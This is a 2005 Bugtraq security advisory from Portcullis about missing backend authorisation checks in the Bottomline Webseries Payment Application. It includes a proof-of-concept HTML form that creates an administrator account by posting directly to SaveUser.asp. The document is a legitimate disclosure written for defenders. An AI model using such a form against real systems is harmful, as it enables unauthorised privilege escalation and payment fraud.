Bugtraq mailing list archives

Portcullis Security Advisory 05-001


From: "Paul J Docherty" <PJD () portcullis-security com>
Date: Mon, 10 Jan 2005 20:24:15 -0000


Portcullis Security Advisory
 
Vulnerable System: 
      
        Webseries Payment Application
 
Vulnerability Title:  
 
      Lack of Backend Authorisation Checking
 
Vulnerability discovery and development: 
 
      Portcullis Security Testing Services
 
Affected systems: 
 
      Bottomline Webseries Payment Application 
 
Details:
 
        Portcullis consultants discovered that although privileged operations are
        not displayed in the application menu presented to unprivileged users, these
        operations may still be executed by directly accessing the appropriate
        URL.
 
        This, in effect, means that the core application is not carrying out any
        form of authorisation verification and that any authenticated user,
        regardless of the rights they have been assigned, can perform any action
        available to any user of the system.
 
      In its simplest form this vulnerability could be used to gather a list of
        privileged users by accessing the "User Entitlements" report which details
        user's security groups and administrative status.  An attacker could use
        this information to greatly increase their likelihood of success in gaining
        unauthorised access.
 
Impact:
 
        An unauthorized user could, by directly accessing the SaveUser.asp script       create a new user with 
administrative privileges. Portcullis consultants developed
        the following simple HTML page to perform this action:
 
        Any other system operation including user approval, security group
        modification and payment approval can be performed in a similar manner.
 
        The only thing obstructing a malicious attacker from succeeding in such
        attacks is that the approval system has been correctly implemented.  Even by
        accessing URLs directly, a user cannot approve their own changes.
 
        Two unprivileged users, acting in collusion, have the ability to execute any
        function the system is capable of performing.  This includes submitting, and
        approving, payments of unlimited value.
 
Exploit:
        Portcullis consultants developed the following simple HTML page to perform this action:
 
<html>
        <body>
        <h1>Add User</h1>
        <hr>
        <form action="http://target/wsapp/SaveUser.asp"; method="post">
        Action <input name="Action" value="ADD" type="text"><br>
        UserID <input type="text" name="UserID"><br>
        UserName <input type="text" name="UserName"><br>
        Password 1 <input type="text" name="Password1"><br>
        Password 2 <input type="text" name="Password2"><br>
        Email <input type="text" name="EMail"><br>
        Administrator <input type="checkbox" name=Admin value=1><br>
        Application User <input type="checkbox" name=AppUser value=1><br>
        User Group <input type="text" name="SelUserGroup" value="111" ><br>
        Security Group <input type="text" name="SecurityGroup" value="RegMgr"><br>
        <input type="submit" value="submit">
        </form>
        </html>

Copyright: 
 
Copyright © Portcullis Computer Security Limited 2005, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered 
in any way without the express written consent of Portcullis Computer Security Limited.
 
Disclaimer: 
 
The information herein contained may change without notice. Use of this information constitutes acceptance for use in 
an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use 
of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security 
Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this 
information.
 
 
 


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